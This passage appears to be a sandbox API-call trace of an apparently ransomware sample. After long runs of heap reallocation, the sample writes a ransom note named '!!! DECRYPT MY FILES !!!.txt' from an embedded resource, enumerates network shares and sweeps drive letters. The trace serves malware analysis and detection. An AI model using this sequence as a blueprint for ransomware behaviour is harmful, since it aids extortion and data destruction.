RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x14d) returned 0x683548 [0068.330] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x14f) returned 0x683548 [0068.330] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x151) returned 0x683548 [0068.330] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x153) returned 0x683548 [0068.330] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x155) returned 0x683548 [0068.330] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x157) returned 0x683548 [0068.330] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x159) returned 0x683548 [0068.330] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x15b) returned 0x683548 [0068.330] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x15d) returned 0x683548 [0068.330] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x15f) returned 0x683548 [0068.330] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x161) returned 0x683548 [0068.330] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x163) returned 0x683548 [0068.330] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x165) returned 0x683548 [0068.330] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x167) returned 0x683548 [0068.331] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x169) returned 0x683548 [0068.331] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x16b) returned 0x683548 [0068.331] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x16d) returned 0x683548 [0068.331] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x16f) returned 0x683548 [0068.331] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x171) returned 0x683548 [0068.331] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x173) returned 0x683548 [0068.331] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x175) returned 0x683548 [0068.331] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x177) returned 0x683548 [0068.331] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x179) returned 0x683548 [0068.331] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x17b) returned 0x683548 [0068.331] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x17d) returned 0x683548 [0068.331] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x17f) returned 0x683548 [0068.331] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x181) returned 0x683548 [0068.331] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x183) returned 0x683548 [0068.331] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x185) returned 0x683548 [0068.331] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x187) returned 0x683548 [0068.331] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x189) returned 0x683548 [0068.331] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x18b) returned 0x683548 [0068.331] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x18d) returned 0x683548 [0068.331] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x18f) returned 0x683548 [0068.331] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x683548, Size=0x191) returned 0x6860c8 [0068.331] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6860c8, Size=0x193) returned 0x6860c8 [0068.331] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6860c8, Size=0x195) returned 0x6860c8 [0068.331] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6860c8, Size=0x197) returned 0x6860c8 [0068.331] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6860c8, Size=0x199) returned 0x6860c8 [0068.331] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6860c8, Size=0x19b) returned 0x6860c8 [0068.331] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6860c8, Size=0x19d) returned 0x6860c8 [0068.332] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6860c8, Size=0x19f) returned 0x6860c8 [0068.332] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6860c8, Size=0x1a1) returned 0x6860c8 [0068.332] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6860c8, Size=0x1a3) returned 0x6860c8 [0068.332] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6860c8, Size=0x1a5) returned 0x6860c8 [0068.332] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6860c8, Size=0x1a7) returned 0x6860c8 [0068.332] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6860c8, Size=0x1a9) returned 0x6860c8 [0068.332] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6860c8, Size=0x1ab) returned 0x6860c8 [0068.332] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6860c8, Size=0x1ad) returned 0x6860c8 [0068.332] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6860c8, Size=0x1af) returned 0x6860c8 [0068.332] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6860c8, Size=0x1b1) returned 0x691808 [0068.332] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x691808, Size=0x1b3) returned 0x691808 [0068.332] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x691808, Size=0x1b5) returned 0x691808 [0068.332] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x691808, Size=0x1b7) returned 0x691808 [0068.332] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x691808, Size=0x1b9) returned 0x691808 [0068.332] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x691808, Size=0x1bb) returned 0x691808 [0068.332] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x691808, Size=0x1bd) returned 0x691808 [0068.332] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x691808, Size=0x1bf) returned 0x691808 [0068.332] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x691808, Size=0x1c1) returned 0x691808 [0068.332] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x691808, Size=0x1c3) returned 0x691808 [0068.332] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x691808, Size=0x1c5) returned 0x691808 [0068.332] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x691808, Size=0x1c7) returned 0x691808 [0068.332] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x691808, Size=0x1c9) returned 0x691808 [0068.332] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x691808, Size=0x1cb) returned 0x691808 [0068.332] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x691808, Size=0x1cd) returned 0x691808 [0068.332] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x691808, Size=0x1cf) returned 0x691808 [0068.332] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x691808, Size=0x1d1) returned 0x691808 [0068.332] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x691808, Size=0x1d3) returned 0x691808 [0068.333] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x691808, Size=0x1d5) returned 0x691808 [0068.333] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x691808, Size=0x1d7) returned 0x691808 [0068.333] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x691808, Size=0x1d9) returned 0x691808 [0068.333] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x691808, Size=0x1db) returned 0x691808 [0068.333] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x691808, Size=0x1dd) returned 0x691808 [0068.333] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x691808, Size=0x1df) returned 0x691808 [0068.333] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x691808, Size=0x1e1) returned 0x691808 [0068.333] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x691808, Size=0x1e3) returned 0x691808 [0068.333] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x691808, Size=0x1e5) returned 0x691808 [0068.333] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x691808, Size=0x1e7) returned 0x691808 [0068.333] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x691808, Size=0x1e9) returned 0x691808 [0068.334] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x691808, Size=0x1eb) returned 0x691808 [0068.334] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x691808, Size=0x1ed) returned 0x691808 [0068.334] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x691808, Size=0x1ef) returned 0x691808 [0068.334] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x691808, Size=0x1f1) returned 0x691808 [0068.334] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x691808, Size=0x1f3) returned 0x691808 [0068.334] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x691808, Size=0x1f5) returned 0x691808 [0068.334] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x691808, Size=0x1f7) returned 0x691808 [0068.334] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x691808, Size=0x1f9) returned 0x691808 [0068.334] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\temp000000.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\temp000000.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0068.336] WriteFile (in: hFile=0x5bc, lpBuffer=0x6a40f8*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x6ebfb98, lpOverlapped=0x0 | out: lpBuffer=0x6a40f8*, lpNumberOfBytesWritten=0x6ebfb98*=0x2f0, lpOverlapped=0x0) returned 1 [0068.337] CloseHandle (hObject=0x5bc) returned 1 [0068.338] ShellExecuteExW (in: pExecInfo=0x6ebfb58*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb="open", lpFile="C:\\Users\\FD1HVy\\Desktop\\temp000000.txt", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x6ebfb58*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb="open", lpFile="C:\\Users\\FD1HVy\\Desktop\\temp000000.txt", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x63c)) returned 1 [0070.602] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebeba0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt9982483128312") returned 28 [0070.602] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\!!! DECRYPT MY FILES !!!.txt", lpFindFileData=0x6ebf908 | out: lpFindFileData=0x6ebf908*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4, cFileName="ᅼ璔ᅈ璔ᗊ瞉灾ৄ㗀m", cAlternateFileName="롊皖㽄n䄤nh")) returned 0xffffffff [0070.603] FindResourceA (hModule=0x400000, lpName="TEEWLJH3QNDSEELUT", lpType=0xa) returned 0x41b090 [0070.603] LoadResource (hModule=0x400000, hResInfo=0x41b090) returned 0x41b234 [0070.603] LockResource (hResData=0x41b234) returned 0x41b234 [0070.603] SizeofResource (hModule=0x400000, hResInfo=0x41b090) returned 0x11f [0070.603] GetProcessHeap () returned 0x630000 [0070.603] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11f) returned 0x6859b0 [0070.603] GetProcessHeap () returned 0x630000 [0070.603] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a) returned 0x67b828 [0070.603] RtlGetCompressionWorkSpaceSize (in: CompressionFormatAndEngine=0x2, CompressBufferWorkSpaceSize=0x6ebfb4c, CompressFragmentWorkSpaceSize=0x6ebfb48 | out: CompressBufferWorkSpaceSize=0x6ebfb4c, CompressFragmentWorkSpaceSize=0x6ebfb48) returned 0x0 [0070.603] GetProcessHeap () returned 0x630000 [0070.603] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8010) returned 0x6e8f10 [0070.603] GetProcessHeap () returned 0x630000 [0070.603] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1ae) returned 0x696978 [0070.603] GetProcessHeap () returned 0x630000 [0070.603] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x696978, Size=0x1ae) returned 0x696978 [0070.603] RtlDecompressFragment (in: CompressionFormat=0x2, UncompressedFragment=0x696978, UncompressedFragmentSize=0x1ae, CompressedBuffer=0x6859b0, CompressedBufferSize=0x11f, FragmentOffset=0x0, FinalUncompressedSize=0x6ebfb44, WorkSpace=0x6e8f10 | out: UncompressedFragment=0x696978, FinalUncompressedSize=0x6ebfb44) returned 0x0 [0070.603] GetProcessHeap () returned 0x630000 [0070.603] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8f10 | out: hHeap=0x630000) returned 1 [0070.603] GetProcessHeap () returned 0x630000 [0070.603] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x696978, Size=0x12b) returned 0x696978 [0070.603] GetProcessHeap () returned 0x630000 [0070.603] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6859b0 | out: hHeap=0x630000) returned 1 [0070.603] GetProcessHeap () returned 0x630000 [0070.603] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x134) returned 0x6859b0 [0070.603] GetProcessHeap () returned 0x630000 [0070.603] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x134) returned 0x69bc00 [0070.604] GetProcessHeap () returned 0x630000 [0070.604] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69bc00, Size=0x12e) returned 0x69bc00 [0070.604] GetProcessHeap () returned 0x630000 [0070.604] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69bc00, Size=0x138) returned 0x69bc00 [0070.604] GetProcessHeap () returned 0x630000 [0070.604] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6859b0 | out: hHeap=0x630000) returned 1 [0070.604] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\!!! decrypt my files !!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0070.604] WriteFile (in: hFile=0x5bc, lpBuffer=0x69bc08*, nNumberOfBytesToWrite=0x12f, lpNumberOfBytesWritten=0x6ebfb4c, lpOverlapped=0x0 | out: lpBuffer=0x69bc08*, lpNumberOfBytesWritten=0x6ebfb4c*=0x12f, lpOverlapped=0x0) returned 1 [0070.605] CloseHandle (hObject=0x5bc) returned 1 [0070.606] GetProcessHeap () returned 0x630000 [0070.606] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x696978 | out: hHeap=0x630000) returned 1 [0070.606] FreeResource (hResData=0x41b234) returned 0 [0070.606] GetProcessHeap () returned 0x630000 [0070.606] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x67b828 | out: hHeap=0x630000) returned 1 [0070.606] GetProcessHeap () returned 0x630000 [0070.606] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x69bc00 | out: hHeap=0x630000) returned 1 [0070.606] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x6ebfb88 | out: lphEnum=0x6ebfb88*=0x658b18) returned 0x0 [0072.807] GetProcessHeap () returned 0x630000 [0072.807] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x640) returned 0x6e5368 [0072.807] WNetEnumResourceW (in: hEnum=0x658b18, lpcCount=0x6ebfb7c, lpBuffer=0x6e5368, lpBufferSize=0x6ebfb80 | out: lpcCount=0x6ebfb7c, lpBuffer=0x6e5368, lpBufferSize=0x6ebfb80) returned 0x0 [0072.807] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x6e5368, lphEnum=0x6ebfb38 | out: lphEnum=0x6ebfb38*=0x6805a0) returned 0x0 [0072.810] GetProcessHeap () returned 0x630000 [0072.810] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x640) returned 0x6d35c8 [0072.810] WNetEnumResourceW (in: hEnum=0x6805a0, lpcCount=0x6ebfb2c, lpBuffer=0x6d35c8, lpBufferSize=0x6ebfb30 | out: lpcCount=0x6ebfb2c, lpBuffer=0x6d35c8, lpBufferSize=0x6ebfb30) returned 0x103 [0072.810] GetProcessHeap () returned 0x630000 [0072.810] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d35c8 | out: hHeap=0x630000) returned 1 [0072.810] WNetCloseEnum (hEnum=0x6805a0) returned 0x0 [0072.810] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x6e5388, lphEnum=0x6ebfb38 | out: lphEnum=0x6ebfb38*=0x2) returned 0x4b8 [0086.157] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x6e53a8, lphEnum=0x6ebfb38 | out: lphEnum=0x6ebfb38*=0x1) returned 0x4c6 [0086.258] GetProcessHeap () returned 0x630000 [0086.258] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e5368 | out: hHeap=0x630000) returned 1 [0086.258] WNetCloseEnum (hEnum=0x658b18) returned 0x0 [0086.258] GetProcessHeap () returned 0x630000 [0086.258] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f50 [0086.258] GetProcessHeap () returned 0x630000 [0086.258] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x6b1040 [0086.258] GetDriveTypeA (lpRootPathName="Z:\\") returned 0x1 [0086.258] GetProcessHeap () returned 0x630000 [0086.258] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1058 [0086.258] GetProcessHeap () returned 0x630000 [0086.258] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0086.258] GetProcessHeap () returned 0x630000 [0086.258] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x6b10a0 [0086.258] GetProcessHeap () returned 0x630000 [0086.258] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1040 | out: hHeap=0x630000) returned 1 [0086.258] GetDriveTypeA (lpRootPathName="Y:\\") returned 0x1 [0086.259] GetProcessHeap () returned 0x630000 [0086.259] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f50 [0086.259] GetProcessHeap () returned 0x630000 [0086.259] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1058 | out: hHeap=0x630000) returned 1 [0086.259] GetProcessHeap () returned 0x630000 [0086.259] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x6b1040 [0086.259] GetProcessHeap () returned 0x630000 [0086.259] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b10a0 | out: hHeap=0x630000) returned 1 [0086.259] GetDriveTypeA (lpRootPathName="X:\\") returned 0x1 [0086.259] GetProcessHeap () returned 0x630000 [0086.259] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1058 [0086.259] GetProcessHeap () returned 0x630000 [0086.259] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0086.259] GetProcessHeap () returned 0x630000 [0086.259] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x6b10a0 [0086.259] GetProcessHeap () returned 0x630000 [0086.259] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1040 | out: hHeap=0x630000) returned 1 [0086.259] GetDriveTypeA (lpRootPathName="W:\\") returned 0x1 [0086.259] GetProcessHeap () returned 0x630000 [0086.259] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f50 [0086.259] GetProcessHeap () returned 0x630000 [0086.259] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1058 | out: hHeap=0x630000) returned 1 [0086.259] GetProcessHeap () returned 0x630000 [0086.259] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x6b1040 [0086.259] GetProcessHeap () returned 0x630000 [0086.259] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b10a0 | out: hHeap=0x630000) returned 1 [0086.259] GetDriveTypeA (lpRootPathName="V:\\") returned 0x1 [0086.260] GetProcessHeap () returned 0x630000 [0086.260] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1058 [0086.260] GetProcessHeap () returned 0x630000 [0086.260] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0086.260] GetProcessHeap () returned 0x630000 [0086.260] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x6b0f50 [0086.260] GetProcessHeap () returned 0x630000 [0086.260] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1040 | out: hHeap=0x630000) returned 1 [0086.260] GetDriveTypeA (lpRootPathName="U:\\") returned 0x1 [0086.260] GetProcessHeap () returned 0x630000 [0086.260] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1040 [0086.260] GetProcessHeap () returned 0x630000 [0086.260] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1058 | out: hHeap=0x630000) returned 1 [0086.260] GetProcessHeap () returned 0x630000 [0086.260] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x6b1058 [0086.260] GetProcessHeap () returned 0x630000 [0086.260] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0086.260] GetDriveTypeA (lpRootPathName="T:\\") returned 0x1 [0086.260] GetProcessHeap () returned 0x630000 [0086.260] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f50 [0086.260] GetProcessHeap () returned 0x630000 [0086.260] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1040 | out: hHeap=0x630000) returned 1 [0086.260] GetProcessHeap () returned 0x630000 [0086.260] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x6b1040 [0086.260] GetProcessHeap () returned 0x630000 [0086.260] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1058 | out: hHeap=0x630000) returned 1 [0086.260] GetDriveTypeA (lpRootPathName="S:\\") returned 0x1 [0086.260] GetProcessHeap () returned 0x630000 [0086.260] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1058 [0086.260] GetProcessHeap () returned 0x630000 [0086.261] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0086.261] GetProcessHeap () returned 0x630000 [0086.261] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x6b0f50 [0086.261] GetProcessHeap () returned 0x630000 [0086.261] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1040 | out: hHeap=0x630000) returned 1 [0086.261] GetDriveTypeA (lpRootPathName="R:\\") returned 0x1 [0086.262] GetProcessHeap () returned 0x630000 [0086.262] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1040 [0086.262] GetProcessHeap () returned 0x630000 [0086.262] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1058 | out: hHeap=0x630000) returned 1 [0086.262] GetProcessHeap () returned 0x630000 [0086.262] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x6b1058 [0086.262] GetProcessHeap () returned 0x630000 [0086.262] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0086.262] GetDriveTypeA (lpRootPathName="Q:\\") returned 0x1 [0086.262] GetProcessHeap () returned 0x630000 [0086.262] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f50 [0086.262] GetProcessHeap () returned 0x630000 [0086.262] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1040 | out: hHeap=0x630000) returned 1 [0086.262] GetProcessHeap () returned 0x630000 [0086.262] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x6b10a0 [0086.262] GetProcessHeap () returned 0x630000 [0086.262] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1058 | out: hHeap=0x630000) returned 1 [0086.262] GetDriveTypeA (lpRootPathName="P:\\") returned 0x1 [0086.262] GetProcessHeap () returned 0x630000 [0086.262] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1040 [0086.262] GetProcessHeap () returned 0x630000 [0086.263] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0086.263] GetProcessHeap () returned 0x630000 [0086.263] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x6b1058 [0086.263] GetProcessHeap () returned 0x630000 [0086.263] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b10a0 | out: hHeap=0x630000) returned 1 [0086.263] GetDriveTypeA (lpRootPathName="O:\\") returned 0x1 [0086.263] GetProcessHeap () returned 0x630000 [0086.263] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f50 [0086.263] GetProcessHeap () returned 0x630000 [0086.263] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1040 | out: hHeap=0x630000) returned 1 [0086.263] GetProcessHeap () returned 0x630000 [0086.263] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x6b1040 [0086.263] GetProcessHeap () returned 0x630000 [0086.263] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1058 | out: hHeap=0x630000) returned 1 [0086.263] GetDriveTypeA (lpRootPathName="N:\\") returned 0x1 [0086.263] GetProcessHeap () returned 0x630000 [0086.263] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1058 [0086.263] GetProcessHeap () returned 0x630000 [0086.263] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0086.263] GetProcessHeap () returned 0x630000 [0086.263] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x6b0f50 [0086.263] GetProcessHeap () returned 0x630000 [0086.263] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1040 | out: hHeap=0x630000) returned 1 [0086.263] GetDriveTypeA (lpRootPathName="M:\\") returned 0x1 [0086.263] GetProcessHeap () returned 0x630000 [0086.263] 